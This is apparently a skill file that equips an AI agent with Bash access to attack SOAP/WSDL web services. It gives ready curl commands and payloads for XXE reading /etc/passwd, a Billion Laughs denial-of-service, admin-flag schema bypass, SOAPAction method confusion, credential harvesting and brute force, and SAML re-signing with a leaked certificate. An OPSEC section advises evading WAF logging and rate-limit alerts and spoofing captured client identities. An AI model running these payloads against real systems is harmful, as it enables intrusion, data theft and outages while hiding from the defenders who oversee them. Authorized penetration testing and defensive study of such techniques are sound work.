api-soap-wsdl

name	api-soap-wsdl
description	SOAP / WSDL exploitation — WSDL enumeration via ?wsdl, XXE in SOAP envelope, WS-Addressing replay, WS-Security UsernameToken brute, SAML token injection in WS-Trust, schema validation bypass.
allowed-tools	Bash Read Write
metadata	{"when_to_use":"soap wsdl xml ws-security ws-addressing ws-trust saml asmx wcf .asmx .svc spring-ws","subdomain":"api","tags":"soap, wsdl, xml, ws-security","mitre_attack":"T1190, T1203"}

SOAP / WSDL Attack Surface

Legacy enterprise integrations still ship SOAP — payment processors, ERP middleware, government APIs, Java EE bus systems.

Discovery

# WSDL endpoints — try ?wsdl on any .asmx (.NET) / .svc (WCF) / Spring-WS endpoint
curl -sk "https://target/Service.asmx?wsdl" | xmllint --format -
curl -sk "https://target/Service.svc?wsdl" | xmllint --format -

# Generate a client from the WSDL
python -m zeep https://target/Service.asmx?wsdl
# OR
wsdl2java -uri https://target/Service.asmx?wsdl

Quick attack catalog

XXE in SOAP envelope

curl -sk -X POST -H "Content-Type: text/xml" -H 'SOAPAction: ""' \
  -d '<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body><tns:Method><tns:arg>&x;</tns:arg></tns:Method></soap:Body>
</soap:Envelope>' https://target/Service.asmx

WS-Security UsernameToken brute / clear-text leak

The <wsse:UsernameToken> often carries <wsse:Password> in clear text. If the channel is HTTP (not HTTPS) or the proxy logs payload, harvest creds:

# WSPolicy may demand: Type="...#PasswordText"
curl -sk -X POST -d @ws-attack.xml https://target/svc
# Brute: cycle a username dict, observe response time/error class

WS-Addressing replay

SOAP responses often include <wsa:RelatesTo> referencing the request <wsa:MessageID>. Some servers don't validate freshness:

<wsa:MessageID>uuid:CAPTURED_FROM_LEGITIMATE_REQUEST</wsa:MessageID>

SAML in WS-Trust / SAML EncryptedAssertion

WS-Trust 1.3 RST/RSTR flows accept SAML tokens. Re-sign the assertion with the IdP's leaked cert OR exploit XML Signature Wrapping (XSW) — see the SAML skill for full XSW patterns.

Schema validation bypass

Many servers parse the SOAP envelope before validating against the XSD. Inject XML that's malformed-for-schema but valid-for-parser:

<soap:Body>
  <tns:Method>
    <tns:adminFlag>true</tns:adminFlag>   <!-- not in XSD, often honored -->
    <tns:arg>value</tns:arg>
  </tns:Method>
</soap:Body>

XML Bomb / Billion Laughs DoS

<!DOCTYPE x [<!ENTITY a "12345678"><!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;"><!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">]>
<x>&c;&c;&c;</x>

SOAPAction routing confusion

.NET ASMX picks the method by SOAPAction header, not body. Mismatch → call methods you shouldn't be able to:

curl -X POST -H 'SOAPAction: "http://target/AdminMethod"' \
  -d '<soap:Envelope>...PublicMethod body...</soap:Envelope>' \
  https://target/Service.asmx

Tooling

# SoapUI free / Postman SOAP — interactive probing
soapui --gui  # or non-GUI: testrunner.sh

# Burp Suite extensions: Wsdler, SAML Raider, XML Signature Wrapping

# python zeep — programmatic SOAP client (good for automation)
python3 -c "from zeep import Client; c = Client('https://target/Service.asmx?wsdl'); print(c.service.Method('arg'))"

OPSEC

• WS-Addressing <wsa:MessageID> is logged in many WAFs — randomize per-request.
• WS-Security headers reveal client identity; spoof realistic clientIDs from previously-captured requests.
• SOAP fault messages leak stack traces — note them, but limit to one trigger per scan to avoid rate-limit alerts.

References

• WS-Attacks.org — XSW, XXE, WS-Security variants catalog
• OWASP "Testing for Web Services" — chapter on SOAP/WSDL
• "Hacking SOAP" — Pauldotcom episode (older but still 100% applicable)
• Burp extension: SAML Raider